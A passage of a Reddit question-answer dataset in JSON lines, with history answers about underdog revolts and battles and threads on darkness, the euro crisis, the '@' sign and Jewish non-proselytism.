hostility towards literature in my remarks, remember this: that I was first to light a torch of literature in this part of the country, however small, frail and easily extinguished that flame may be. I am, in my way, a pioneer. To the best of my knowledge I am the first writer to be produced by a section of country comprising a territory equal to that of the state of Connecticut. In the last few years large numbers of youngsters have taken to writing; some of them show real merit; some have already far surpassed me. But I was the first writer of the postoak country; my work\u2019s lack of merit can not erase that fact. By first, I do not, of course, mean in point of excellence, God knows; I mean in point of time. There are some real writers growing up in this country now, whose work will be read and applauded long after my junk has passed to the oblivion it will earn. But when I set my hand to my chosen profession, there was none other in the land except me. At least if there was, I never heard of him.\n\n- Robert E. Howard to H. P. Lovecraft, July 1933, *Collected Letters of Robert E. Howard* 3.81", "It's not exactly a tale of triumph in the long term - but it's hard to think of anyone who knowingly took on significantly longer odds than did Shakushain, an octogenarian Ainu leader who led a rebellion against Japan in 1669. \n\nIt was a resolutely old-fashioned conflict \u2013 one of the key flashpoints was Ainu resentment at Japanese incursions into Hokkaido that left them unable to capture enough bears for a vitally important annual festival \u2013 and the revolt pitted around 30,000 tribesmen, armed with stone age military technology, against a Japanese nation of 25 million equipped with modern firearms. Unsurprisingly (and despite winning a bloody initial victory when a co-ordinated series of surprise attacks on the Japanese in Ainu-controlled Hokkaido wiped out all but 20 of the enemy), Shakushain lost. Indeed, the samurai army sent against him suffered a grand total of one man dead in the course of a two-month campaign, and the immediate result was the incorporation of Ainu-land into the Tokugawa state. But the fact that the Japanese were scared enough of the old man's influence to have him treacherously assassinated at the great feast they organised to celebrate peace gave him a moral victory that continues to resonate even today among the indigenous peoples of his native island. [Much more here](_URL_0_) for anyone who finds his story of interest.", "Are we allowed to post requests here? By all means, delete this if not -- but if there are any Australian historians with some insights to share on the bushranger Ned Kelly's two years in the wilderness, defying all odds to be captured and brought to justice after the police killings at Stringybark Creek, I'd love to see them shared with the international readership of this sub. For mine, and based on all the historical accounts I've read, it's a fascinating story, and the moral questions posed by the Victorian community's complicity in harbouring him, and Kelly's motives/actions, are still fiercely debated to this day.", "The [First Servile War](_URL_0_) is fascinating for a variety of reasons but one of my favorite facets of the conflict is that it's chief instigator was a brazen-tongued Syrian magician turned slave who (allegedly) breathed fire from his mouth during his performances. Taken into slavery on the island of Sicily in the province of Enna, he was forced by his master to entertain guests at symposia. In his routine he engaged in comedic 'patter' between acts of practical magics and one of his lines was swearing revenge on all the guests, except those who tipped him well. He, in chains, would  someday be king and they drinking wine would all be slaves or dead. Big laughs. Of course, he eventually led a bloody revolt consisting of tens of thousands of freed slaves who would overrun the cities and disrupt the rule of the elite. Though it lasted a mere three years, he established his larger than life personality as the new slave-king of Enna and indeed did decide the fate of those who jeered at him. An excellent writeup by Mike Dash that goes into deep detail including Eunus' involvement with Seleucidian cults and other fun stuff - [King, magician, general...slave](_URL_1_)", "The story of the 1st Minnesota at Gettysburg is a great \"underdog\" story among the greater battle.\n\nOn July 2, The US Army needed to reinforce the left flank due to Sickles action in advancing his troops to the Emmitsburg Road, famous sites such as the Peach Orchard, Wheatfield, and Devil's Den.\n\nWinfield Scott Hancock, the II Corps Commander who was in command of the middle of the Union line that resembled the fishhook rode towards his left flank where he saw the 1st Minnesota regiment, 262 men, standing alone on a crucial spot on Cemetery Ridge. Hancock exclaimed \"My god, is this all the men we have\", he then asked what regiment it was. After hearing it was the 1st Minnesota, he ordered Col. William Colvill to \"take those colors\" of Wilcox's Alabama Brigade, 5x the size of Colvill's 1st Minnesota. The charge by Colvill and the 1st Minnesota lasted roughly 10 minutes, in which of the 262 men that charged, only 47 were left unharmed. 175 were wounded and 40 were killed. The 1st Minnesota suffered an 82% casualty rate of their size at Gettysburg, the largest percentage of any regiment in the Army of the Potomac at Gettysburg.\n\nHowever the time they gave Hancock, roughly 15 minutes of stalling Wilcox's Alabamians, proved enough time to reinforce this spot on Cemetery Ridge for the Union Army on July 2, 1863, a definite must see area when you visit the field, however not relatively known story of the battle when you compare it with the efforts on LRT or Pickett-Pettigrew-Trimble Charge.\n\nIf you want more information about the 1st Minnesota, along with their efforts throughout the war, without reading the few books about them, I would suggest [this](_URL_0_) or [this](_URL_1_)", "Listening to the Revolutions podcast, episodes 5.*, Bol\u00edvar.\n\nJos\u00e9 Antonio P\u00e1ez, the Battle of Las Queseras del Medio, about 2 April 1819.  P\u00e1ez's took 150 rebel cavalry over the river to attack Morillo's 6,000 men.  Morillo took 1,200 cavalry and came after P\u00e1ez.  Morillo maneuvered his cavalry wings to flank P\u00e1ez on both sides.  P\u00e1ez sent a squadron forward to punch the Spanish in the middle.  The Spanish wings folded inward to trap the little bait.  The bait turned at just the last moment and rode for the narrowing gap, barely making it.  The Spanish wings smashed into a confused mass in the middle.  P\u00e1ez attacked the Spanish scrum, massacring some and sending the rest flying.\n\nResult: P\u00e1ez attacked at 8-1 odds against him.  400 Spanish casualties at the cost of two (2) men killed, six (6) men wounded.\n", "Pope Julius II cultivated an image of a \"Warrior Pope,\" but perhaps he would better be called the \"Coward Bully Pope.\" In his *History of Venice*, Norwich outlines that there was no specific catalyst for the creation of the League of Cambrai, which set the stage for half a decade of warfare involving the Republic of Venice. Sure, Venice had seized the cities of the Romagna in the previous decade, but there had been an understanding between Julius' administration in Rome and the Republic that it was done as a mutually beneficial effort to remove Cesare Borgia from his fiefs. \n\nIn fact, the Venetian Senate, at the solicitation of the Papal Ambassador Giangiorgio Trissino, had been in conversation with the Papal Court looking toward the maintenance of nominal Papal possession of the Romagna (including tax collection) while allowing Venice to maintain a military and administrative presence to secure the area south of the River Po. Julius found this arrangement unsatisfactory, and came to an agreement with Emperor Maximilian, who would descend from Tyrol onto Verona (the \"Door that keeps the barbarians locked out\" according to the contemporary Venetian commentator Andrea Minucci). After Maximillian's inevitable victory against the Venetians, as part of the peace treaty the Romagna would return to the Papacy. \n\nA wrench got thrown into the whole arrangement when the Venetian army under General Bartolomeo d'Alviano routed the Imperial army after a few weeks of campaigning. Detachments occupied Austrian cities in the Friuli, and Maximillian, already morbidly obsessed with his own mortality anyway, was more than happy to settle for a truce. \n\nJulian, baffled, evidently thought Venice's victory was a fluke. In March of 1508 the Venetian Senate moved to appoint a new Bishop of Verona from the shortlist presented by that city's council, as the previous one had dropped dead at the premature age of thirty-six. \"Aha!\" cried Pope Julian, and used this pretext to convey a meeting in the French town of Cambrai attended by Ferdinand of Aragon (and Naples, as well as Regent of Castille), Alfonso of Este (ruler of Ferrara), Charles of Savoy, Francesco Gonzaga (the ruler of Mantua), Ladislav of Hungary, Louis XII of France, and old Max of Austria. \n\nThe following deal was struck: Emperor Max would get the whole of the Veneto and the Friuli; Louis of France, recently confirmed Duke of Lombardy after Ludovico Sforza's removal, would get Venice's Lombard cities of Bergamo and Brescia, nevermind the fact that the Venetians were half the reason he held Milan in the first place; Ferdinand would get a number of free-ports in Puglia guaranteed by Venice, and consequentially be allowed to kick out the Venetian consuls; Ladislav would get Dalmatia; Alfonso would get the Po Delta, which Venice had seized some thirty years prior because it was a haven for piracy; Chucky of Savoy would get the Island of Cyprus, which he technically was the heir to; and Franky Gonzaga would basically get the Minico River floodplain between Verona and Brescia, fundamentally designating him the official Franco-Austrian babysitter (not sure it that move was incredibly clever or just lazy on Julius' part). And of course, Pope Julius would get his beloved cities in the Romagna. \n\nSo in the spring of 1509 Pope Julius excommunicated the Republic, and a French army marched out of Milan. Venice was up against France, Spain, Austria, Hungary, Mantua, Ferrara, and the Papacy. This did not look good. \n\nThe Republic's government banned the dissemination of the excommunication, while a second army under Niccol\u00f2 Orsini was raised to support d'Alviano. Pleas for help were dispatched to the lesser German rulers, as well as to the newly crowned Henry VIII of England. Even the Grand Prince of Muscovy Vasil III was contacted. None came to the Republic's aid. \n\nThe Republic would have to fend for itself. The two Venetian captain-generals, d'Alviano and Orsini, immediately distinguished themselves by being completely at odds in every conceivable way. D'Aviano marched to meet the French head-on as they were en route to Bergamo, however Orsini elected to avoid pitched battle. The result was that the Venetian armies were defeated in detail; d'Alvaino was even captured by the French. The Venetian senate, in a panic, voted to \"jettison the cargo to save the ship,\" and dissolved the Venetian cities of all ties of fealty. The Lombard cities submitted to the King of France, while Orsini, in full retreat until he could regroup the Venetian forces in Treviso, did nothing to stop the cities of Verona, Vicenza, and Padua from receiving imperial emissaries. \n\nBy early summer, Orsini withdrew to a perimeter around the old watchtower at Mestre, the Republic's medieval border. It would seem that the Republic's days as a power in Italy were over. \n\nHowever, by midsummer the tide was already changing. The emissaries sent to the Emperor by council of the city of Treviso were mobbed in the street before they could leave the city; the Trevisans wanted to fight. The joint commanders and sent seven hundred footmen to march down the Terraglio Road in double time; the walls of Treviso were manned, and the citizens began gathering stockpiles for a siege. \n\nThe siege never came; Imperial garrisons in the Veneto could barely keep order in the cities they occupied, a much larger force commitment would be needed for the Emperor to take any additional actions against the Venetians. By mid-July, a second Venetian detachment was deployed to Padua; the city's rebellious citizens had kept the gates open (Norwich narrates that this was done by way of an Oxcart crash) such that a small company of Venetian Knights headed by the *Proveditore Generale* Andrea Gritti could enter the city. Noe flanked by mounted men at arms, the mob expelled the Imperial Landsknechts. Gritti, at the time little over fifty years of age, as *Provveditore* was something of a cross between a procurement officer and a political officer; he had spent the better part of the past few years overseeing the reconstructions of fortifications in the Friuli. However, he had elected to personally oversee the dangerous sally to retake Padua; a testament to the fact that some elements of the Venetian ruling class still had some fight left in them. \n\nEmperor Maximillian was pushed to action; Padua would have been an invaluable addition to the Austrian demesne, and he was set on taking it back. An Enormous imperial army set forth from the Brenner to take the city. After linking with French and Spanish regiments, by September of 1509 the city was encircled. \n\nHowever, Orsini had set up headquarters in Padua with the bulk of his forces (perhaps on Gritti's behest). The Imperial artillery breached the walls, but the ferocious defense mounted by the Venetian army supported by the citizenry meant that by the end of September, the Imperial forces began withdrawing. \n\nOrsini, unexpectedly reversing his position on the usefulness of taking the initiative, pursued the withdrawing Imperial forces. He found the Vicenza in total rebellion against the Imperial occupation and entered the city with minimum fuss; however in spite of the bulk of the Imperial forces withdrawing to the Tyrol, the detachment left in Verona kept the city subdued and supply lines into Italy open. A brief siege was mounted; Orsini even managed to beat back the Papal relief expedition, but upon spotting French reinforcements on the horizon withdrew back to Padua. The Venetian fleet, which had kept the cities of Dalmatia well-supplied in spite of Hungarian incursions, attempted to cut off the French and Austrians from their Italian allies by establishing dominance on the River Po; however the fleet proved no match for Ferrarese artillery. A small victory came when a detachment of Venetian soldiers seized the stronghold at Este, not only securing the northern bank of the lower river Adige, but also humiliating the ruling house of Ferrara: Este is their ancestral home. But overall, in the winter of 1509, the conflict was at a stalemate. \n\nAll the while, the Venetian diplomatic machine had been meticulously working behind the scenes; Pope Julius was told of the massive size of the Austrian and French armies; the Venetian ambassador in Rome whispered that the cities of Bologna and Perugia were in endemic revolt, and what if the Emperor chose to seize those too? Perhaps the Austrians would come to an agreement with the Aragonese; perhaps they were discussing Julian's downfall right now. Wouldn't it make sense for them to seize Emilia and Umbria, now that they already held half the Veneto? \n\nPope Julius, dastardly coward that he was, saw that the Venetians had a point. However, he drove a hard bargain: not only would Venice have to abandon all claims in the Romagna, the Republic would allow the Papacy to appoint bishops in its cities. The terms were humiliating, but by February of 1510 the Senate accepted. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://mikedashhistory.com/2013/06/20/shakushains-revolt/"], [], ["http://cof.quantumfuturegroup.org/events/73", "https://mikedashhistory.com/2016/07/16/king-magician-general-slave-eunus-and-the-first-servile-war-against-rome/"], ["http://ironbrigader.com/2014/01/03/1st-minnesota-infantry-gettysburg-2/", "http://www.1stminnesota.net/#/gettysburg/Gettysburg"], [], []]}
{"q_id": "1qlxwg", "title": "What happens to the human body when expose to complete darkness for a long period of time?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1qlxwg/what_happens_to_the_human_body_when_expose_to/", "answers": {"a_id": ["cde6ei7"], "score": [4], "text": ["You will have no concept of the time of day because there is no sun. This will really mess with your natural circadian rhythm after a while. Also, you would probably suffer a vitamin D deficiency due to there being no light to catalyze the synthesis of it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "m3j6w", "title": "ireland fiscal crisis compared to greek fiscal crisis.  &  how ireland has effected the rest of the eurozone", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/m3j6w/eli5_ireland_fiscal_crisis_compared_to_greek/", "answers": {"a_id": ["c2xsrya", "c2xtsmq", "c2xu8uo", "c2xsrya", "c2xtsmq", "c2xu8uo"], "score": [7, 3, 2, 7, 3, 2], "text": ["The BBC has a [handy simple guide](_URL_0_) breaking down the basics of the problems in most of the affected countries", "IMHO Ireland is much much less of a problem than any of the other \"PIGS+I\" not because of their fiscal situation as much as the reasons they got into it. Where Greece and Spain and the rest have huge structural issues, i.e. things like their huge healthcare and retirement benefits, the Irish had more of a one time expense, bailing out their banking system. So while with the rest of these economies the debt continues to grow because of massive underlying problems the Irish got their bailout and will move on. Not to mention the Irish have a dynamic economy and very pro business policies where the Italians for example have been stagnating for decades. ", "Ireland was brought down by very different and in a way far more simple issues, it had a vastly overexpanded banking sector relative to the size of its economy and also had a massive speculative housing boom, however the fundamentals of their economies and political systems were and are still fairly sound. \n\nGreece's issues are far more structural and systemic, it isn't just one sector of the economy that's tanked. Greece has a corrupt, inefficient economy and a very similar political system. For years they spent far more than they could afford, in part because of cheaper lending rates available once in the Euro, however they were only able to get into the euro in the first place by giving their books a good cooking (which most within the EU knew but the Euro is a political creation rather than economic driven so a blind eye was turned).\n\nThis was all brought to a head by the fallout from the financial crisis, as a result of the markets waking up to their 'issues' Greece's borrowing costs have become unsustainable which is why we have had to throw them a life jacket. ", "The BBC has a [handy simple guide](_URL_0_) breaking down the basics of the problems in most of the affected countries", "IMHO Ireland is much much less of a problem than any of the other \"PIGS+I\" not because of their fiscal situation as much as the reasons they got into it. Where Greece and Spain and the rest have huge structural issues, i.e. things like their huge healthcare and retirement benefits, the Irish had more of a one time expense, bailing out their banking system. So while with the rest of these economies the debt continues to grow because of massive underlying problems the Irish got their bailout and will move on. Not to mention the Irish have a dynamic economy and very pro business policies where the Italians for example have been stagnating for decades. ", "Ireland was brought down by very different and in a way far more simple issues, it had a vastly overexpanded banking sector relative to the size of its economy and also had a massive speculative housing boom, however the fundamentals of their economies and political systems were and are still fairly sound. \n\nGreece's issues are far more structural and systemic, it isn't just one sector of the economy that's tanked. Greece has a corrupt, inefficient economy and a very similar political system. For years they spent far more than they could afford, in part because of cheaper lending rates available once in the Euro, however they were only able to get into the euro in the first place by giving their books a good cooking (which most within the EU knew but the Euro is a political creation rather than economic driven so a blind eye was turned).\n\nThis was all brought to a head by the fallout from the financial crisis, as a result of the markets waking up to their 'issues' Greece's borrowing costs have become unsustainable which is why we have had to throw them a life jacket. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.bbc.co.uk/news/business-14985256"], [], [], ["http://www.bbc.co.uk/news/business-14985256"], [], []]}
{"q_id": "6u67iq", "title": "what is the origin of the '@' symbol?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6u67iq/eli5_what_is_the_origin_of_the_symbol/", "answers": {"a_id": ["dlq97pa", "dlqcn42"], "score": [379, 2], "text": ["The symbol, formally named \"commercial at\", was an accounting ledger symbol from the era of hand written ledgers.  As machines were taking over this accounting work, they were first set up to duplicate the human product as much as possible.  The look of the symbol came from handwriting abbreviation for \"at each\" where the circle was like a cursive \"e\" around the cursive \"a\".\n\nThe meaning of an entry like \"5 pigs @ $27 = $135\" means \"five pigs at a unit price of $27 per pig for an invoice total of $135\".  For example, the cost of \"12 apples @ $1\" would be $12, whereas the cost of \"12 apples at $1\" would be $1, a crucial and necessary distinction.", "According to wikipedia it was used by the portuguese and the spanish, it was called arroba, and it was a unit of measure, equating to about 25 pounds and eventually its use and meaning changed to \"at the rate of\", \"at the price of\". The wikipedia arcticle is actually pretty simple, i would recommend that you read it, hope i was of help!\n\nps: almost forgot the link\n_URL_0_\n\nedit: added extra info"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/At_sign#Theories_of_origin"]]}
{"q_id": "2mh0sh", "title": "why do jews not try to convert people like other abrahamic religions? (christianity, islam)", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2mh0sh/eli5_why_do_jews_not_try_to_convert_people_like/", "answers": {"a_id": ["cm43nqf", "cm44sf0", "cm454br", "cm458mz", "cm459mh", "cm45c0x", "cm45qe3", "cm45t3m", "cm45usx", "cm45x59", "cm46cci", "cm46eqg", "cm46g6v", "cm46leu", "cm46p4n", "cm47an1", "cm47bc0", "cm47ev4", "cm47rks", "cm47x7g", "cm482sv", "cm484vv", "cm486qo", "cm4892r", "cm48ej3", "cm48f3f", "cm48fol", "cm48md8", "cm48mzl", "cm48u81", "cm48xmz", "cm490g7", "cm49bo7", "cm49kw9", "cm4a3mr", "cm4a4yw", "cm4ailq", "cm4au7q", "cm4b2xr", "cm4bcbb", "cm4bre7", "cm4bw03", "cm4d8id", "cm4dhlf", "cm4dmuo", "cm4dsa3", "cm4dtes", "cm4dv9z", "cm4e84j", "cm58og2"], "score": [3351, 6, 44, 615, 2, 937, 104, 199, 7, 38, 5, 3, 6, 3, 14, 11, 2, 7, 13, 5, 5, 3, 2, 24, 13, 3, 5, 7, 12, 29, 2, 35, 2, 4, 4, 10, 3, 5, 8, 4, 36, 5, 4, 3, 11, 6, 9, 6, 129, 8], "text": ["Christians and Muslims believe that to achieve salvation you must believe as they do - else you are not saved. The idea of the unsaved drives those religions to proselytize - to preach with the aim of conversion.\n\nJudaism doesn't work that way; non-Jews have a place in the afterlife that doesn't involve damnation. \n\nMore detail [here](_URL_0_). This topic comes up often so there are numerous sources available to draw from. ", " > Though there is no official Jewish conception of the afterlife, Jewish sources do provide images of a torturous hell and heavenly paradise.\n\n[source](_URL_0_)\n\nYou would have to believe pretty strongly in an afterlife to care about proselytizing. ", "I'm Jewish, raised orthodox. I can't really explain *why* the commandment exists that \"though shalt not proselytize\", but it really is a big deal not to do it. In fact, if a gentile comes up to you and says that they want to convert, you have to say that it's a bad idea and try to convince them not to --- a minimum of three times. \n\nMy dad  (religious scholar) says that it wasn't always like this --- when Judiasm was a big deal there was even forced conversion. He says that nowadays the mantra is that judiasm is a minority religion, historically persecuted, and Jews just don't want anyone new to experience that. ", "Orthodox Jew here. We  believe that you don't need to be Jewish in order to enter heaven. As long as you don't transgress any of the 7 sins then you're fine.\nAlso becoming Jewish is a very difficult task. It takes about a few months to convert, and rabbis constantly pressure you to not convert just so you are 100% sure you want to be Jewish. \n\n\n\n\n\n", "Jews have historically been very weary of _URL_0_ the old testament much of gods anger has been caused by Jews worshiping idols and engaging with other religions. Many of the jewish customs and laws work to avoid interacting with other peoples as to avoid assimilation, such as very strict dietary laws, and there is actually a law that says Jews cannot \"break bread\" with a non Jew. \nBasically the jewish religion tried to avoid contact with other religions and there is a fear that if we try to convert others to our religion it will actually cause assimilation. ", "Part of Judaism is, ironically, \"Keep your religion to your god damned self.\" This stems from two things:\n\n1) It doesn't make sense to try and convert somebody if they don't genuinely believe what they're converting into, so why bother?\n\n2) Regardless of faith, race, creed, or belief, as long as you're a decent person, you're going to \"heaven\" anyway, and thus converting people into Judaism is not necessary (whereas in Christianity and Islam, Salvation is required by acceptance of a prophet). The core of this belief comes from the teaching that \"heaven\" and \"hell\" are not physical places, but rather a sort of abstract concept of \"distance from god.\" If you're a truly wicked person, according to Judaism, you don't suffer in brimstone and hellfire - you're simply farther from god than someone who would be righteous, and thus \"suffer\" in that regard (though, again, it's not a physical or even mental anguish - it's thought of as more of an emptiness).", "It's a bit of a complicated topic and there's no one true answer, unfortunately.  As a basis to start talking, religions change over time and are affected by their environments.  For example, if you're a Jewish community in the 16th century in Europe under Christian rule or in the Middle East or North Africa under Muslim rule, you're probably not welcome to start converting Christians or Muslims away from the religion of the state to your less correct religion.\n\nToday, as wingchild noted, Jews don't believe that non-Jews are at a real disadvantage in the afterlife, with two notes.  First, non-Jews might be at an advantage in terms of the afterlife.  Jews are supposed to follow 613 commandments.  Non-Jews only 7.  On the other hand, there is a concept of disappointment that non-Jews might suffer along the lines of, \"man, I wish I had known this sooner.\"  Think of it like finding an awesome band, but only after everyone else knows of them.  You've missed the small shows they've played and such.  Very hipster.\n\nBut when talking about the afterlife, it's important to note that Judaism doesn't have a big party-line on the afterlife.  Different sources will give you very different ideas.  Jews don't have an eternal damnation, but to say there isn't a Jewish hell is somewhat misleading too: some sources talk about purification which isn't meant to be torture, but wouldn't be desirable.  However, this is, time-limited to a year even for the worst people.  In fact, there are special prayers to be said for parents and other deceased relatives that are done for eleven months because we assume they didn't do anything wicked enough to need the full twelve months.\n\nIn the current world, Judaism has the idea of the \"righteous-gentile\".  Someone who's a perfectly good human being and isn't Jewish.  There's no shame in that - you're a good person, good on you.  You aren't good because you're Jewish and you aren't bad because you're not Jewish.  In fact, the Christian story of the Good Samaritan is this point: you're good because of what you do, not because of your background.\n\nSo, today, Judaism thinks it has something great, but thinks you can be a cool person without being Jewish both in this life and whatever is to come.  If you're good to people, G-d likes that.  If you're bad to people, G-d doesn't like that even if you're Jewish.\n\nHowever, Judaism has been a more conversion-centric religion in the past.  R. Eliezer in the Talmud (oral law that was written down) said, \"God exiled the Jews amongst the nations in order that converts might join them\".  The Khazar leaders converted to Judaism in the 8th century and I'm not sure how much of the elites and normal people felt pressure or coercion to convert as well.\n\nSo, it's complicated.  In practical terms, Judaism doesn't do a lot of conversions today.  Part of that is the history of being under countries where that would have been unacceptable.  Part of that is that Judaism, unlike Islam or Christianity, started as the religion of a tribe more than a universal Truth.  Part of that is not wanting to gain fickle converts who might not be really committed.  Part of that is that when you have a low number of converts, you create a narrative along the lines of \"it was never our goal\".", "TIL if any of the religions are right, I want it to be Judaism. That's my best shot into the heaven I don't believe in.", "I'm not sure about Islam, but Christianity was basically created to be for Jews with the one difference being that Jesus was the moshiach, However when the majority of Jews rejected Christianity, it needed to evolve more of a conversion focus to gain members. \n\nIn other words Christians believe everyone is a Christian (or one waiting to happen), but Jews believe that only they are Jewish.", "Had this explained in a cultural geography class:\n\nA) There are universalizing religions: Christianity, Buddhism  &  Islam (for example) that seek to convert people, because part of doctrine is spreading God's message.\n\nB) There are non-universalizing religions like Judaism. I would also include Hinduism here, but some would disagree with that categorization. \n\nJews aren't out to convert others because of Moses' covenant with God (the chosen people).  This concept of chosenness means you don't need to go out and seek converts, though Judaism will accept converts. \n\nHinduism 's view is more complex and debated, I'd say that part of being Hindu is very much linked to the geography and culture of the subcontinent, but that's out of my element. ", "Wow...ppl have been always telling me that one cant convert and become a jew...thats also what they are taching here in the school(im from germany )", "We believe that coercion and true spirituality do not mix; the truth speaks for itself in a voice louder than any human voice. We also don't believe that non-Jews are automatically destined for eternal banishment or anything of that sort. We see all of humanity as our brothers and sisters, all of a common source and headed towards a common goal. If you appreciate what we have, you are welcome to join in (assuming your motives are sincere), but we're not going to push anything on you.", "Perhaps because historically, proselytizing one's Jewishness was a good way to get oneself \"purged\"? ", "Actually, Muslims dating back to the Moores era did not actively try to convert non-muslims. They allowed \"colonized\" jews in southern Spain to practice their own religion peacefully.", "A big part of the answer to that question is asking the inverse: Why do Christians and Muslims try and convert people? If I wanted to banish all cynicism from myself, I would say that the reason both groups proselytize is because only that group can get into heaven, while the rest of the groups burn in Hell.\n\nJews have no Hell. We don't really have a heaven either, but it's still pretty nice. And you don't have to be Jewish to go there. ", "It's not that they don't try to convert people. They're known to 'turn people away' a few times to test how serious they are about wanting to convert. If the person keeps trying hard to make it happen, it'll happen", "There's a couple reasons for this. The religious justification is that Jews were handpicked as God's chosen people, and to spread his word would be to spit in the face of that gift.\n\nThe cultural justification is that Jews have a long and proud history of getting fucked over by conquerors, and that being insular helps to preserve their culture in places and times where it is considered both foreign and heresy. \n\nAs for why Christians and Muslims work so hard to convert others, Jesus and Mohammad both stated in their respective books that they wanted their followers to do just that.", "Judaism is an ethnocentric religion. The latter two originate rather later with different requirements for community cohesion.", "The same reasons country clubs don't walk around the streets begging people to join.", "One of judaism's commandments is to not go door to door trying to convert. Judaism is supposed to be in theory a family and its quite difficult. In fact if you truly want to join you must go to a temple and ask to join and the Rabbi is required to turn you away 2 times, saying no, and you must come back. I'm Christian by the way. -Source World Religions college course", "I'm Jewish, and I know that what I'm going to say isn't exactly part of the topic here, but I need to say it.\n\nFrom *my personal experience*, the Jewish communities may be very cool and accepting with other religions existing and they'll never try to convert people, but be sure as hell that your teachers will not let you explore those religions and beliefs for the simple fact that you *must* conserve Judaism.\n\nThe sense of tradition is so freaking strong in some places that if you even dare to go outside and see for yourself what you want to believe in, you'll be seen as some sort of horrible traitor.\n\nWhat if I want to learn about Christians? Or Muslims?\n\n\"Nope! Here's a Torah!\"\n\nWhat if I don't believe in this?\n\n\"WHAT?! But what about your ancestors who have fought for generations to maintain their beliefs? Do you really want to make make their efforts futile?\"\n\nThey're very flexible though, you could be an agnostic or atheist and still be considered a Jew by many communities. But you have to be a Jew, have Jewish parents, be indoctrinated to believe in the \"holiness\" of everything jew and their country...\n\n*Sigh*\n\nI'm glad my family is quite open minded, but this is kinda what I've been dealing with every time Judaism comes up in my life, specially in my jewish school.", "as a jew: jewish is largely not a religion, I think it's an ethnic group defined by DNA and Jews want to keep it that way. That's why nobody wants you to convert.\n\n", "It's also because Judaism is an ethnic religion while Christianity and Islam are universalizing. Being an ethnic religion means you're only born into it. Judaism accepts converts but it actually involves a lot of commitment on their part such as learning some Hebrew and going in the mikvah. ", "Odd irony. As a Jew in the South, it's a constant thing for me to have people find out and try to convert me. Hell, my boss is ridiculously serious about trying to convert me.\n\nReality is, it's not an easy process to convert into Judaism. As a conservative Jew, I know a very good friend of mine who converted for his wife. Took him almost four years. In the end, it's all about being a good person. Doesn't matter to us if you're a Jew, Muslim, Christian, Atheist, Buddhist, etc, as much as if you live a good life.\n\nTL;DR - Be a mensch", " \" Who is a Jew?\n\nA Jew is any person whose mother was a Jew or any person who has gone through the formal process of conversion to Judaism.\n\nIt is important to note that being a Jew has nothing to do with what you believe or what you do. A person born to non-Jewish parents who has not undergone the formal process of conversion but who believes everything that Orthodox Jews believe and observes every law and custom of Judaism is still a non-Jew, even in the eyes of the most liberal movements of Judaism, and a person born to a Jewish mother who is an atheist and never practices the Jewish religion is still a Jew, even in the eyes of the ultra-Orthodox. In this sense, Judaism is more like a nationality than like other religions, and being Jewish is like a citizenship. See What Is Judaism? \"\n\nI found this explanation here:\n\n_URL_0_\n\nBasically extreme nationalism hidden behind \" peaceful religion \" facade that thinks that world should revolve around it. ", " > like other Abrahamic religions\n\nDruzism and Samaritanism don't try to convert people either. Unlike Judaism, they don't accept converts. ", "Since the Jews are a 'people' and their religion is based on a 'chosen people', wouldn't their religion only be something you would either inherit from birth or marriage? ", "Judaism has an ethnic component to it that Islam and Christianity really do not have.  ", "Rationalist/atheist here, and someone who's very interested in religion as a *human* construct. This idea of a religion not trying to convert people is not unique to Judaism, but I think comes from not having to *compete* with something else. The same thing, for example, is true for Hinduism.\n\nFor both Hinduism and Judaism (and maybe others that I'm not aware of), they were the first major religions of their regions, and as such, they never needed to *convert* people from something else to grow. A social and moral structure, \"do good\", \"don't do evil\" and such ideas were 'enough' to make those religions attractive.\n\nReligions that came later, such as Christianity and Islam, emerged in a world where some other religion was already dominant, and so how else would they gain followers if not by encouraging others to convert? *Only* a social and moral structure is no longer sufficient!\n\nAnd hence, there are the 'incentives' in these religions to get others to convert. Both Christianity and Islam make it 'a good deed' for a practitioner of these faiths to spread the religion to others, and I think this is why. \n\n/u/wingchild (top comment right now) already mentions that \"The idea of the unsaved drives those religions to proselytize - to preach with the aim of conversion.\" Well, that's the logic within the religion, but I think as a *human* construct, this idea is also inbuilt so as to incentivize conversion so that the religion can grow. ", "So all the comments seem to suggest that this is because of some intrinsic quality in the Jewish religion. However, I always assumed it was because being Jewish originally was an ethnicity. The Hebrew people are the descendants of 12 brothers and the tribes they founded. Jews are essentially a very extended pedigree. It may not be obvious today because they have inter-mingled with so many communities over thousands of years resulting in huge ethnic diversity with the Jewish population today. Judaism is simply the religion of the Hebrew people. For most of its history it did not make sense to think of converting others any more than say Greeks would try to convert other into becoming Greek.  That is why even today the most common reason for conversion is by marrying into this pedigree. I think all the religious reasoning (ie \"anyone can go to heaven\") came afterwards over debates asking this very question.  ", "There are a lot of cool people saying really flattering things about my religion, all of these things that I've read are true. I wanted to add the other reason none of us proselytize, at least none of us who are sufficiently educated in history. The last time the Jews had undisputed control of the land of Israel, a little over two thousand years ago, we were lead by a dynasty called the Hasmoneans. The Hasmoneans were descended from the people in the Hannukah story, but had no legal right to reign. (This is why five hundred years later the sages made up some bullshit about the miracle of the oil lamp) The Hasmoneans were conquerors, and assholes. They would force convert the places they conquered. Including Nabatea (Now Jordan) and Idumea (Somewhere in northern Israel?) One of the fellows they forced to convert from Idumea was Antipater. Antipater had a son. His name was Herod, you've probably heard of him. HE SLAUGHTERS BABIES! In summary, we don't proselytize because what if some evil political genius converts and then takes over our religion. Also the other good reasons that people have mentioned here.\n\nTLDR; you never know when you might be proselytizing to a baby-killer.   ", "I think everyone here is pretty far off, and I might have gotten here too late, but I'll give it a try:\n\nI think the answer lies in the history and culture of those religions. Not the religions themselves.\n\nBefore the exile, about 2000 years ago, it wasn't a religion, there was no \"Judaism\". It was a nation who obeys the rules of the bible. Either you are part of the people, or you are not. Either you obey the rules, or you don't. The same way you don't see countries send people around the world to \"join\" them, you won't see any of the Israelites (Which is basically, the children of Israel - the name given to Jacob) do. After the exile, the Isarelites were no longer geographically identified. Take a country, and exile all its civilians. They are still 